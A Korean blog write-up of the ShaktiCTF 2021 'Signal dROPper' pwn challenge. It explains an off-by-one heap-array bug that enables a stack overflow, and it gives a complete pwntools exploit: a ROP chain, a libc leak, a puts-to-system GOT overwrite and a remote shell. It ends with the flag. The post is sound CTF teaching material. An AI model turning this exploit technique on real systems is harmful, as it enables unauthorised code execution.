Sechack

ShaktiCTF 2021 - Signal dROPper 풀이 본문

CTF

ShaktiCTF 2021 - Signal dROPper 풀이

Sechack 2021. 4. 4. 21:20
반응형

 

키야 ~~~~~~ 처음으로 퍼블먹어본 문제이다. 첫 퍼블과 동시에 처음으로 CTF에서 처음으로 포너블 올클해봤다.

쾌감... 일단 이문제 취약점은 off by one이다. 이거 알아내기까지 은근 삽질 많이했다.

 

 

main을 보니까 메뉴를 선택해서 해당 역할을 수행하는것같다. 실행해보자.

 

 

대충 이렇습니다. 이제 각자 메뉴가 어떤일을 하는지 분석해봅시다.

 

 

먼저 1번 메뉴이다. 여기서 off by one이 터진다. 하지만 캐치해내기까지 꽤 걸렸다. 이부분은 이따가 3번 메뉴를 보면 off by one이 어떻게 익스플로잇과 연계되는지 알 수 있다. 저거 캐치한뒤에는 거의 10분안에 플래그 얻은것같다. 저기서 눈여겨봐야하는 부분이 qword_6020C0[i] 이부분과 qword_602120[i] = 32LL; 이부분이다.

우리가 1번을 선택하고 문자열을 입력하면 0x20크기의 힙 청크가 qword_6020C0[i]부분에 할당이 된다. 그리고 qword_602120[i]에는 32라는 숫자를 넣는다.

 

2번 메뉴는 쓸모가 없으므로 넘어가도록 하겠습니다.

 

 

3번 메뉴이다. 1번에서 할당했던 청크의 인덱스를 선택하고 그걸 출력해준다. 근데 그 밑에 코멘트를 적는부분이 있다. 여기서 read(0, &buf, qword_602120[v4]); 이런식으로 호출이 된다. 그렇다는건 0x602120부분을 큰 숫자로 덮으면 bof가 발생하고 rop가 가능하다. 하지만 저 주소에 큰 숫자를 넣을 방법이 없어보였다. 잘 생각해보니까 청크를 계속해서 할당한다면? 0x6020C0부터 할당이 되니까 0x602120을 덮을 수 있게 된다. (0x602120 - 0x6020C0) / 8 = 12 즉 13번 힙 청크를 할당하면 0x602120 + 8을 덮을 수 있게 된다. 

 

앞서 1번 메뉴에서 발생했던 if(i == 12) 즉 off by one 취약점과 연계시키자면 배열의 인덱스는 0부터 시작한다는 점을 고려하지 못해서 off by one이 발생한다. 즉 힙 청크를 13번 할당할 수 있게 되면서 0x602120 + 8 즉 0x602120[1]을 32가 아닌 힙 청크의 주소로 덮을 수 있게 되었다. 힙 청크의 주소는 매우 큰 값이므로 우리는 payload길이제한 없이 코멘트를 작성하는 부분에서 rop를 할 수 있게 된다.

 

from pwn import *

#p = process("./rop")
r = remote("34.121.211.139", 2222)
e = ELF("./rop")

puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
read_got = e.got["read"]
read_plt = e.plt["read"]

pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01

bss = e.bss()

def add(data):
	r.sendlineafter("> ", "1")
	r.sendlineafter(": ", data)

def show(idx, data):
	r.sendlineafter("> ", "3")
	r.sendlineafter(": ", str(idx))
	r.sendlineafter("comments?\n", "1")
	r.sendlineafter("comments\n", data)

for i in range(0, 13):
	add(b"Sechack")

payload = b"a"*0x48
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(read_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(puts_got)
payload += p64(0)
payload += p64(read_plt)

payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(puts_plt)

show(1, payload)

leak = u64(r.recvuntil("\x7f")[-6:]+b"\x00"*2)
libc_base = leak - 0x110140
system = libc_base + 0x04f550

sleep(0.5)
r.send("/bin/sh\x00")
sleep(0.5)
r.send(p64(system))

r.interactive()

 

전체 페이로드이다. offset은 libc database사이트를 이용해서 구해줬다.

 

 

셸이 따였다.

 

shaktictf{y0u_ROPd_the_way_0ut}

 

이번문제는 개인적으로 굉장히 만족스럽다. 문제 이름만보고 간단한 rop인줄알고 간단하게 풀고 올클 GG외치려다가 쓴맛을 본 문제였다...ㅋㅋ 그냥 식상하고 뻔한 rop나 sysrop가 아니라 off by one이라는 요소를 추가해줘서 개인적으로 매우 만족스러웠다.

 

(대회 중에 작성한 write up으로 대회가 끝날때까지 보호를 걸어놓았습니다.)

반응형

'CTF' 카테고리의 다른 글

dCTF 2021 - Formats last theorem 풀이  (0) 2021.05.16
UMDCTF 2021 - Jump Is Found 풀이  (0) 2021.04.17
ShaktiCTF 2021 - Returning-2 풀이  (0) 2021.04.04
ShaktiCTF 2021 - Cache_7 풀이  (0) 2021.04.04
UDCTF(BlueHens CTF) 2021 - Sandboxed ROP 풀이  (0) 2021.03.23
Comments